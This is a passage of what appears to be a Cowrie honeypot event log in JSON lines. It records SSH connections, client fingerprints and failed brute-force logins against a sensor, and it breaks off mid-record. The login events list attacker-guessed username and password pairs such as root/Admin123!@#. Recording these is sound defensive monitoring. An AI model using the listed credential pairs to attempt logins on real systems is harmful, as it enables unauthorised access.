{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":37116,"dst_ip":"10.17.0.5","dst_port":22,"session":"8941b1d2bfcf","protocol":"ssh","message":"New connection: 43.153.27.162:37116 (10.17.0.5:22) [session: 8941b1d2bfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:29.738031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:29.742333Z","src_ip":"43.153.27.162","session":"8941b1d2bfcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:29.810047Z","src_ip":"43.153.27.162","session":"8941b1d2bfcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:30.114147Z","src_ip":"43.153.27.162","session":"8941b1d2bfcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:31.185604Z","src_ip":"43.153.27.162","session":"8941b1d2bfcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7609afca696","protocol":"ssh","message":"New connection: 118.26.36.248:56106 (159.203.135.109:22) [session: a7609afca696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:32.333818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:32.336893Z","src_ip":"118.26.36.248","session":"a7609afca696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:32.558526Z","src_ip":"118.26.36.248","session":"a7609afca696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@k0nig123","message":"login attempt [root/@k0nig123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:33.472134Z","src_ip":"118.26.36.248","session":"a7609afca696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:34.696024Z","src_ip":"118.26.36.248","session":"a7609afca696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.502904415130615,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:36.132447Z","src_ip":"203.236.109.13","session":"1c55df5ad494","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:41.011598Z","src_ip":"47.86.95.62","session":"f6bfa113e17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:41.015303Z","src_ip":"47.86.95.62","session":"f6bfa113e17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e0fdaefb40","protocol":"ssh","message":"New connection: 31.59.89.180:37166 (159.203.135.109:22) [session: f6e0fdaefb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:59.290853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:59.295496Z","src_ip":"31.59.89.180","session":"f6e0fdaefb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:59.407111Z","src_ip":"31.59.89.180","session":"f6e0fdaefb40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:04:59.885811Z","src_ip":"31.59.89.180","session":"f6e0fdaefb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:01.001265Z","src_ip":"31.59.89.180","session":"f6e0fdaefb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":49258,"dst_ip":"159.203.135.109","dst_port":22,"session":"5955d35aea5e","protocol":"ssh","message":"New connection: 209.99.184.143:49258 (159.203.135.109:22) [session: 5955d35aea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:02.358384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:02.365193Z","src_ip":"209.99.184.143","session":"5955d35aea5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:02.457877Z","src_ip":"209.99.184.143","session":"5955d35aea5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"cc","message":"login attempt [cc/cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:02.861398Z","src_ip":"209.99.184.143","session":"5955d35aea5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:03.959524Z","src_ip":"209.99.184.143","session":"5955d35aea5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":41248,"dst_ip":"10.17.0.5","dst_port":22,"session":"fadd69f3537c","protocol":"ssh","message":"New connection: 20.12.41.6:41248 (10.17.0.5:22) [session: fadd69f3537c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:04.537487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:04.542806Z","src_ip":"20.12.41.6","session":"fadd69f3537c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:04.560791Z","src_ip":"20.12.41.6","session":"fadd69f3537c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zx1023xz","message":"login attempt [root/zx1023xz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:04.661224Z","src_ip":"20.12.41.6","session":"fadd69f3537c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:05.683163Z","src_ip":"20.12.41.6","session":"fadd69f3537c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dff7d849821","protocol":"ssh","message":"New connection: 61.222.211.114:48704 (159.203.135.109:22) [session: 7dff7d849821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:08.696474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:08.701932Z","src_ip":"61.222.211.114","session":"7dff7d849821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:08.907277Z","src_ip":"61.222.211.114","session":"7dff7d849821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2023","message":"login attempt [root/test@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:09.768996Z","src_ip":"61.222.211.114","session":"7dff7d849821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:10.978271Z","src_ip":"61.222.211.114","session":"7dff7d849821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:12.753747Z","src_ip":"47.86.95.62","session":"f1d0a40417ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:18.775057Z","src_ip":"47.86.95.62","session":"f1d0a40417ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":35904,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8c33d6f4cf","protocol":"ssh","message":"New connection: 43.153.27.162:35904 (10.17.0.5:22) [session: 8b8c33d6f4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:46.736079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:46.740372Z","src_ip":"43.153.27.162","session":"8b8c33d6f4cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:46.808208Z","src_ip":"43.153.27.162","session":"8b8c33d6f4cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:47.110782Z","src_ip":"43.153.27.162","session":"8b8c33d6f4cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:48.182683Z","src_ip":"43.153.27.162","session":"8b8c33d6f4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":36410,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e307924e7d","protocol":"ssh","message":"New connection: 118.26.36.248:36410 (159.203.135.109:22) [session: 26e307924e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:53.303068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:53.308515Z","src_ip":"118.26.36.248","session":"26e307924e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s